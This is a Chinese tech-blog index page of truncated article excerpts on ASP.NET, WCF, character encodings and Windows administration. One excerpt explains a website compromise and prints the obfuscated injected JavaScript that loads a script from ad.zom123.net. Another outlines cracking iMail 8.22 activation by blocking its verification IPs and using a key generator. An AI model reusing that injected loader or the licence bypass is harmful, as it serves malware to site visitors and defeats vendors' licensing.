ASP.NET MVC客户端jQuery验证

评论(0)浏览(204)分类:asp.net-mvc
ASP.NET MVC客户端jQuery验证  之前我们一直讨论的Model验证仅限于服务端验证,即在Web服务器根据相应的规则对 请求数据实施验证。如果我们能够在客户端(浏览器)对用户输入的数据先进行验证,这样会减少针对服务器请求的频率,从而缓解Web服务器访问的压力。 ASP.MVC 2.0及其之前的版本采用ASP.NET Ajax进行客户端验证,在ASP.NET MVC 3.0中,jQuery验证框架被引入是我们..

asp访问ad目录通过ldap

评论(0)浏览(204)分类:Asp/VBScript
asp访问ad目录通过ldap转载自:http://forums.aspfree.com/code-bank-54/asp-code-query-ad-ldap-169652.htmlthe following code let's you query a domain AD to get users details.I've split the query into two parts, so if you want to get more than one users details and want different info for each user you can add another sub and get what i..

asp.net CustomValidator Ajax 异步验证如何触发

评论(0)浏览(204)分类:Asp.Net/C#/WCF
asp.net CustomValidator Ajax 异步验证如何触发  使用asp.net的CustomValidator验证控件时,如果ClientValidationFunction配置的函数中使用异步Ajax进行验证输入内容的有效性时,即使ajax返回的信息无效,并且设置了ClientValidationFunction配置函数的参数args.IsValid=false,并不会显示错误信息。  这是因为ajax异步执行完设置args.IsValid时ms注册的检查这个属性是否为true的代码已经..

wcf实现ServiceDebugBehavior服务行为的异常传播

评论(0)浏览(204)分类:Asp.Net/C#/WCF
wcf实现ServiceDebugBehavior服务行为的异常传播  服务端只有抛出FaultException异常才能被正常地序列化成Fault消息,并实现向客户端传播。对于一般的异常(比如执行Divide操作抛出的DivideByZeroException),在默认的情况下,异常信息无法实现向客户端传递。但是,倘若为某个服务应用了ServiceDebugBehavior这么一个服务行为,并开启了IncludeExceptionDetailInFaults开关,异常信息将会原..

C#源代码-查询alexa全球,中国排名,google pr,google收录和百度收录及快照

评论(20)浏览(204)分类:Asp.Net/C#/WCF
C#源代码-查询alexa全球,中国排名,google pr,google收录和百度收录及快照2012-7-16更新1)更新百度html代码获取的编码,从gb2312变更为utf-82012-4-24更新1)修改Alexa API正则2)修改百度收录查询代码,去掉协议部分,要不site带协议的url地址百度无法查询2011-12-7更新:1)更新了google pagerank 查询地址2)更新google收录正则表达式3)更新alexa国内排名正则表达式  发一个C#源代码,可以查询alexa全球,中国排..

Linq To Sql动态查询续及CLR与SQL在某些细节上的差别

评论(0)浏览(203)分类:asp.net-linq
Linq To Sql动态查询续及CLR与SQL在某些细节上的差别  在上面一篇文章Linq To Sql用object的动态查询与保存log篇中,我们提到了使用object的动态查询。本文在上文的基础上,再做更加深入的引申。同时修正上文中一些不妥的地方。1, object的动态查询续  首先要做的事情,就是将Find的函数改成扩展方法。扩展方法只能放在静态类里,而且它的第一个参数必须带this关键字。在上文中,作者留下了一..

ASP.NET MVC Razor介绍:IoC在View激活过程中的应用

评论(0)浏览(203)分类:asp.net-mvc
ASP.NET MVC Razor介绍:IoC在View激活过程中的应用  在《ASP.NET MVC Razor介绍:RazorView》 介绍BuildManagerCompiledView的时候,我们谈到默认使用的ViewPageActivator使用当前注册的 DependencyResolver来完成对目标View的激活,这意味着我们可以通过注册自定义DependencyResolver的方式实现基于 IoC的View激活。本篇文章中我们将演示如何通过自定义View的方式实现与IoC框架Ninject的集成。..

3.8 继承

评论(0)浏览(203)分类:Asp.Net/C#/WCF
3.8 继承  在类的设计中,经常需要管理和开发相似功能。在设计这些类的时候,就可以使用继承的原则。在面向对象的应用程序开发中,允许创建一个抽象的类而不实现其具体方法,而需要通过继承、派生来实现方法。这样不仅优化了代码,提高了代码的可读性,而且在开发过程中,也让开发人员有比较明确的编码思想,使开发人员与开发人员之间更加容易协调。3...

网站部分网页打开显示空白问题

评论(0)浏览(203)分类:操作系统及应用软件
网站部分网页打开显示空白问题有些时候打开网站的时候,有些页面能打开显示内容,有些显示一片空白,查看源文件,在弹出的记事本里面存在内容。 出现这个问题时,在排除网络的问题时,最大可能的原因就是浏览器查看网页时的编码问题。 有些浏览器访问utf-8编码的网站时,会使用系统默认的编码gb2312来显示页面内容,这样会导致页面内容出现乱码或者显示一片空白,没有任何内..

如何快速关闭win2003系统

评论(0)浏览(202)分类:操作系统及应用软件
如何快速关闭win2003系统  对于win2003系统,如果未进行一些设置,在关闭系统时不但需要选择进行何种操作,还得添加关闭原因什么的,很麻烦。  要关闭填写关机原因,按照下面步骤完成。  第一步,开始-》运行,输入gpedit.msc,回车,打开“组策略编辑器” 。  第二步,依次点击“计算机配置”-》“管理模板”-》“系统”,再右边找到“显示"关系事件跟踪程序"”..

ASP类型转换提示无效使用 Null

评论(0)浏览(202)分类:Asp/VBScript
ASP类型转换提示无效使用 Null 在asp中进行类型转换时,如读取数据库中的数据,对某一列进行转换,此列数据没有初始化值,则使用cdbl,cint等函数对此列信息类型进行转换时,会出现“无效使用 Null”的错误,有2中解决办法。 第一种,使用isnull函数判断下列是否为null,如果为null则不能进行转换。+展开-VBScriptnum=0ifnotisnull(rs("num"))thennum=cint(r..

Windows系统路由表

评论(0)浏览(202)分类:操作系统及应用软件
Windows系统路由表一、 windows路由表条目解释1. 使用ipconfig /all查看网卡信息2. 使用route print命令查看路由表信息,如下图:3. 路由表信息解释 1)名词解释:Active Routes:活动的路由Network destination :目的网段Netmask:子网掩码Gateway:网关,又称下一跳路由器。在发送IP数据包时,网关定义了针对特定的网络目的地址,数据包发送到的下一跳服务器。..

使用asp.net4.0 ClientIDMode属性指定组件客户端id生成规则

评论(0)浏览(202)分类:Asp.Net/C#/WCF
使用asp.net4.0 ClientIDMode属性指定组件客户端id生成规则  在ASP.NET 4.0之前我们总是要为控件的ClientID头疼,比如明明一个叫lblName的Label放在一个叫做grd的GridView里面后,在页面上改 Label的ID就变成了诸如grd_clt02_lblName的一长串字符串,如果我们在前台想在使用JS的时候找到该Label,我们不得不用到 C#脚本来获得该Label在前台的确切ID,诸如:script type=text/javascript var lblName..

计算机ansi,unicode,utf-16,utf-8编码详解

评论(0)浏览(202)分类:操作系统及应用软件
计算机ansi,unicode,utf-16,utf-8编码详解计算机字符编码基础 计算机最开始只支持ASCII码,一个字符用一个字节表示,只用了低7位,最高位为0,因此总共有128个ASCII码,范围为0~127。后来为了支持多 种地区的语言,各大组织机构和IT厂商开始发明它们自己的编码方案,以便弥补ASCII编码的不足,如GB2312编码、GBK编码和Big5编码等。但 这些编码都只是针对局部地区或少数语言文字,没有..

C# HtmlParser使用说明

评论(0)浏览(202)分类:Asp.Net/C#/WCF
C# HtmlParser使用说明  本文介绍了.net 版的一个HTMLParser网页解析开源类库(Winista.HTMLParser)的功能特性、工作原理和使用方法。对于使用.net进行Web信 息提取的开发人员进行了一次HTMLParser的初步讲解。应用实例将会在日后的文中介绍,敬请关注。一、背景知识   HTMLParser原本是一个在sourceforge上的一个Java开源项目,使用这个Java类库可以用来线性地或..

vs2010 写入项目文件时出错。没有注册类别

评论(0)浏览(202)分类:操作系统及应用软件
vs2010 写入项目文件时出错。没有注册类别  window2003 sp2系统安装vs2010后,在建立window form项目的时候,提示“写入项目文件时出错。没有注册类别”错误。  去微软网站找了下,发现是补丁msxml6.msi没有安装。去下载这个补丁http://download.microsoft.com/download/b/7/1/b71d5305-618d-4b82-858b-386db3cc4453/msxml6.msi安装后再建立window form项目,就不会出现“写入项目文..

C#模拟自动登录和POST提交的方法

评论(0)浏览(201)分类:Asp.Net/C#/WCF
C#模拟自动登录和POST提交的方法  网页自动登录(提交Post内容)的用途很多,如验证身份、程序升级、网络投票等,以下是用C#实现的方法。  网页自动登录和提交POST信息的核心就是分析网页的源代码(HTML),在C#中,可以用来提取网页HTML的组件比较多,常用的用WebBrowser、WebClient、HttpWebRequest这三个。以下就分别用这三种方法来实现:  1、WebBrowser是个"迷你"浏..

ad.zom123.net弹窗木马

评论(0)浏览(201)分类:黑客技术
ad.zom123.net弹窗木马  最近看到朋友的网站第一次访问的时候会转向到ad.zom123.net这个网址,然后弹窗窗口,还以为我电脑中病毒了,后面在网上查找好像有很多都有ad.zom123.net这个问题。  出现这个问题就是基本是你的站被黑了,一些公用js文件被插入了下面的JavaScript代码+展开-JavaScriptdocument.write('sc'+'riptsrc="\/sc'+'ript'"http://%61d'+'.%7ao'+'m..

检索COM类工厂中CLSID为{00024500-0000-0000-C000-000000000046}的组件时失败,原因是出现以下错误:8000401a

评论(0)浏览(200)分类:Asp.Net/C#/WCF
检索COM类工厂中CLSID为{00024500-0000-0000-C000-000000000046}的组件时失败,原因是出现以下错误:8000401a  C#在调用Excel的API生成excel文件时,提示 检索 COM 类工厂中 CLSID 为 {00024500-0000-0000-C000-000000000046} 的组件时失败,原因是出现以下错误: 8000401a 错误。  解决方案是在服务器上安装Office,并配置DCOM权限。步骤如下:配置DCOM中EXCEL应用程序:要在交互式用户帐户下设置Office自动化服务器,请按照下列步骤操作:1.以管..

asp采集解压gzip压缩网站数据

评论(0)浏览(200)分类:Asp/VBScript
asp采集解压gzip压缩网站数据  asp如何采集使用gzip压缩过的网页数据。  由于winrar的命令行工具不支持zip格式的文件,所以我选择了7z的命令行工具7za.exe,在百度搜索下就可以找到。  在使用下面的代码前把cmd.exe(windows文件夹下有)和7za.exe拷贝到asp程序目录,时间关系,并没有写更多的容错以及返回值问题   function unZip(file){ //在线解压zip函数..

imail8.22激活破解方法

评论(0)浏览(200)分类:操作系统及应用软件
imail8.22激活破解方法  下载了imail8.22安装之后,从网上找的激活方法基本都是用防火墙封imail的在线验证ip地址,然后通过算号器得到imail的response code来实现破解激活imail8.22,主要用防火墙封156.21.1.22156.21.1.171这2个ip地址。但是刚才安装imail8.22之后,用防火墙封了上面2个ip地址,输入123450-123450-123450-123450后还是无法进入得到response code的页..

asp存储和读取access中2进制数据

评论(0)浏览(200)分类:Asp/VBScript
asp存储和读取access中2进制数据  用来获取上一个页面传递过来的数据一般是使用 Request对象。同样的,可以使用Request对象来获取上传上来的文件数据,使用的方法是Request.BinaryRead()  要从数据库中读出来图片的数据显示到网页上面要用到的方法是:Request.BinaryWrite()。  在得到了图片的数据,要保存到数据库中的时候,不可以直接使用Insert语句对数据库进行操作,..

aspx页面如何使用vbscript来编写

评论(0)浏览(199)分类:Asp.Net/C#/WCF
aspx页面如何使用vbscript来编写  aspx页面默认是.net的页面,如果要想用vbscript编写aspx页面,需要配置iis服务器,将aspx应用程序扩展由默认的C:\WINDOWS\Microsoft.NET\Framework\v版本号\aspnet_isapi.dll修改为C:\WINDOWS\system32\inetsrv\asp.dll,这样访问aspx页面时,会调用vbscript的编译器来编译aspx页面,而不是.net framework了。  此时需要注意的是编写aspx页..

隐藏table灰色边框线

评论(0)浏览(199)分类:操作系统及应用软件
隐藏table灰色边框线  在word2003的默认情况下,创建表格时,表格带有宽0.5磅的可打印黑色边框。删除该边框后,仍显示灰色的边框线,这些灰色的网格线是word文档定位用的,网格线不会被打印。  如果用户不需要在文档中显示表格的网格边框线,请点击菜单栏的表格隐藏虚框,则网格线将被隐藏(如要重新显示,请点击菜单栏的表格显示)。  如果要打印表格中的线条..

C#获取webbrowser选中内容的html代码

评论(0)浏览(199)分类:Asp.Net/C#/WCF
C#获取webbrowser选中内容的html代码  C#获取webbrowser选中内容的html代码,需要引用Microsoft.mshtml. private void Form1_Load(object sender, EventArgs e) { webBrowser1.Navigate(http://www.baidu.com); webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted); } ..

手机wifi能链接路由器但无法上网解决办法

评论(0)浏览(199)分类:操作系统及应用软件
手机wifi能链接路由器但无法上网解决办法  今天用android的手机链接路由器wifi,发现可以连接和获取到ip地址,但是无法上网。之前这个路由器就出现过iphone可以连接路由器但是无法上网的情况,但是我的android没问题就懒得研究了。谁知道今天我的也无法使用了。  去路由器管理界面看到设备dhcp已经开启,android设备也能获取到ip地址。之前出现iphone连路由器无法上网的时候网上找了..

批处理删除目录下指定的目录名称及包含的文件

评论(0)浏览(199)分类:操作系统及应用软件
批处理删除目录下指定的目录名称及包含的文件@echo offfor /f delims= %%a in ('dir/ad/b/s upload') do rd /s/q %%apause  将上面的代码保存为clear.bat,放到操作的目录下,将会自动删除这个目录下的及子目录下目录名称为upload的文件夹,upload文件夹中包含的文件及子目录一并删除。upload可以使用通配符。  如要删除批处理文件放置的目录下a开头的所有文件夹及子目录,批处..

IIS目前访问网站的用户过多解决办法

评论(0)浏览(199)分类:操作系统及应用软件
IIS目前访问网站的用户过多解决办法报错内容如下:  无法显示网页  目前访问网站的用户过多。  --------------------------------------------------------------------------------  请尝试执行下列操作:  单击刷新按钮,或稍后重试。  打开localhost主页,然后查找与所需信息相关的链接。  HTTP错误403.9-禁止访问:连接的用户过多  Internet信息服务  ------..

Asp.net中 UTF-8编码转换GB2312编码

评论(0)浏览(199)分类:Asp.Net/C#/WCF
Asp.net中 UTF-8编码转换GB2312编码 最近在做的系统中,碰到了一个问题,交易系统采用的UTF-8编码,而一些支持系统使用的是GB2312编码。 不同编码的页面、脚本之间互相引用,就会产生乱码的问题,解决方法就是统一成一种编码。 asp.net 中,如果要修改输出页面的编码,可以通过修改web.config中以下配置信息 globalization requestEncoding="utf-8" responseEnco..

highcharts+Asp.net简单示例

评论(0)浏览(199)分类:Asp.Net/C#/WCF
highcharts+Asp.net简单示例highcharts+Asp.net简单示例,asp.net生成DataTable后用linq处理成highcharts需要的数据格式后使用服务器端标签%#%绑定数据。DataTable手动添加的数据,实际应用以数据库为准。需要读取数据库。转json字符串要用到Newtonsoft.Json.dll,可以去这里下载:Newtonsoft.Json.Net 4.0下载,效果如下示例代码如下%@ Page Language=C# %%@ Import NameS..